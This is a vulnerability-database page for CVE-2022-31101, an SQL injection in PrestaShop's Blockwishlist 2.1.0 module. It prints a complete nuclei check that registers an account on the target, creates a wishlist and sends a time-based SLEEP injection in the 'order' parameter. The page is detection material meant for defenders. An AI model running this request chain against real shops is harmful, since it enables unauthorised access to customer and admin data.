Browse / CVEs / CVE-2022-31101
CVE-2022-31101· prestashop / blockwishlist· CWE-89
Prestashop Blockwishlist 2.1.0 SQL Injection
highseverity
8.1CVSS score
23.5%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it
Prestashop Blockwishlist module version 2.1.0 suffers from a remote authenticated SQL injection vulnerability.
Impact
Authenticated attackers can exploit SQL injection in the Blockwishlist module to extract sensitive database information including customer details, order data, and admin credentials from the PrestaShop database.
Fix
Update Prestashop Blockwishlist module to a version newer than 2.1.0 that properly sanitizes user input and uses parameterized queries.
How to confirm it
Send: GET {{BaseURL}}/modules/blockwishlist/config.xml
Positive when: status 200 AND contains "Wishlist block" AND compare_versions(version, '>= 2.0.0', '<= 2.1.0')
Send: GET /
Send: POST /{{login_path}}?create_account=1
Positive when: regex('PrestaShop-[0-9a-f]{32}', header) and status_code == 302
Send: GET /module/blockwishlist/action?action=getAllWishlist
Positive when: contains "\"id_wishlist\"" and "\"nbProducts\"" and "\"name\""
Send: GET /module/blockwishlist/action?action=createNewWishlist¶ms[name]=123
Positive when: contains "\"success\""
Send: GET /module/blockwishlist/action?action=getAllWishlist
Positive when: contains "\"id_wishlist\"" and "\"nbProducts\"" and "\"name\""
Send: POST /module/blockwishlist/action?action=addProductToWishlist¶ms[id_product]={{id_product}}¶ms[idWishList]={{id_wishlist_raw}}¶ms[quantity]=1¶m…
Positive when: contains "\"success\":true"
Send: GET /module/blockwishlist/view?id_wishlist={{id_wishlist_raw}}&order=p.name,%20(select%20case%20when%20(1=1)%20then%20(SELECT%20SLEEP(7))%20else%201%20end);%20…
Positive when: duration >= 7 and contains(to_lower(body), "prestashop")Run it with nuclei: nuclei -id CVE-2022-31101 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2022-31101
info:
name: Prestashop Blockwishlist 2.1.0 SQL Injection
author: mastercho
severity: high
description: |
Prestashop Blockwishlist module version 2.1.0 suffers from a remote authenticated SQL injection vulnerability.
impact: |
Authenticated attackers can exploit SQL injection in the Blockwishlist module to extract sensitive database information including customer details, order data, and admin credentials from the PrestaShop database.
remediation: |
Update Prestashop Blockwishlist module to a version newer than 2.1.0 that properly sanitizes user input and uses parameterized queries.
reference:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31101
- https://github.com/PrestaShop/blockwishlist/security/advisories/GHSA-2jx3-5j9v-prpp
- https://packetstormsecurity.com/files/168003/Prestashop-Blockwishlist-2.1.0-SQL-Injection.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
cvss-score: 8.1
cve-id: CVE-2022-31101
cwe-id: CWE-89
epss-score: 0.23492
epss-percentile: 0.97814
cpe: cpe:2.3:a:prestashop:blockwishlist:*:*:*:*:*:*:*:*
metadata:
max-request: 8
vendor: prestashop
product: blockwishlist
tags: packetstorm,cve,cve2022,prestashop,prestashop-module,sqli,intrusive,vuln
variables:
first_name: "{{rand_base(4, 'abcdefghijklmnopqrstuvwxyz')}}"
last_name: "{{rand_base(4, 'abcdefghijklmnopqrstuvwxyz')}}"
email: "{{randstr}}@{{rand_base(5)}}.com"
password: "{{rand_base(8)}}"
flow: |
http(1) && http(2) && http(3) && http(4) && (template["id_wishlist"] && template["id_wishlist"][0] ? (http(7) && http(8)) : (http(5) && http(6) && http(7) && http(8)))
http:
- method: GET
path:
- "{{BaseURL}}/modules/blockwishlist/config.xml"
extractors:
- type: regex
name: version
group: 1
regex:
- "<version>\\s*<!\\[CDATA\\[(.*?)\\]\\]>\\s*<\\/version>"
host-redirects: true
max-redirects: 3
matchers-condition: and
matchers:
- type: status
status:
- 200
internal: true
- type: word
part: body
words:
- "Wishlist block"
internal: true
- type: dsl
name: version_check
dsl:
- compare_versions(version, '>= 2.0.0', '<= 2.1.0')
internal: true
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 3
extractors:
- type: regex
name: id_product_raw
part: body
group: 1
regex:
- '/(\d+)-[a-z0-9\-]+\.html'
internal: true
- type: dsl
name: id_product
dsl:
- index(id_product_raw, 0)
internal: true
- raw:
- |
POST /{{login_path}}?create_account=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
id_gender=1&firstname={{first_name}}&lastname={{last_name}}&email={{email}}&password={{password}}&birthday=&customer_privacy=1&psgdpr=1&submitCreate=1
payloads:
login_path:
- login
- en/login
- fr/login
- de/login
- pl/login
- es/login
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- regex('PrestaShop-[0-9a-f]{32}', header)
- status_code == 302
condition: and
internal: true
- raw:
- |
GET /module/blockwishlist/action?action=getAllWishlist HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- '"id_wishlist"'
- '"nbProducts"'
- '"name"'
condition: and
internal: true
extractors:
- type: json
name: id_wishlist_raw
part: body
json:
- .wishlists[0].id_wishlist
internal: true
- type: dsl
name: id_wishlist
dsl:
- index(id_wishlist_raw, 0)
internal: true
- id: create-wishlist
raw:
- |
GET /module/blockwishlist/action?action=createNewWishlist¶ms[name]=123 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- '"success"'
internal: true
- id: fetch-new-wishlist
raw:
- |
GET /module/blockwishlist/action?action=getAllWishlist HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: id_wishlist_raw
part: body
group: 1
regex:
- '"id_wishlist":"(\d+)"'
internal: true
- type: dsl
name: id_wishlist
dsl:
- 'index(id_wishlist_raw, 0)'
internal: true
matchers:
- type: word
part: body
words:
- '"id_wishlist"'
- '"nbProducts"'
- '"name"'
condition: and
internal: true
- id: add-product
raw:
- |
POST /module/blockwishlist/action?action=addProductToWishlist¶ms[id_product]={{id_product}}¶ms[idWishList]={{id_wishlist_raw}}¶ms[quantity]=1¶ms[id_product_attribute]=0 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- '"success":true'
internal: true
- id: sql-inj
raw:
- |
GET /module/blockwishlist/view?id_wishlist={{id_wishlist_raw}}&order=p.name,%20(select%20case%20when%20(1=1)%20then%20(SELECT%20SLEEP(7))%20else%201%20end);%20--%20.asc HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
name: time-based
dsl:
- 'duration >= 7'
- 'contains(to_lower(body), "prestashop")'
condition: andReferences
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31101
- https://github.com/PrestaShop/blockwishlist/security/advisories/GHSA-2jx3-5j9v-prpp
- https://packetstormsecurity.com/files/168003/Prestashop-Blockwishlist-2.1.0-SQL-Injection.html
Use this check only on systems you are authorised to test. Where the data comes from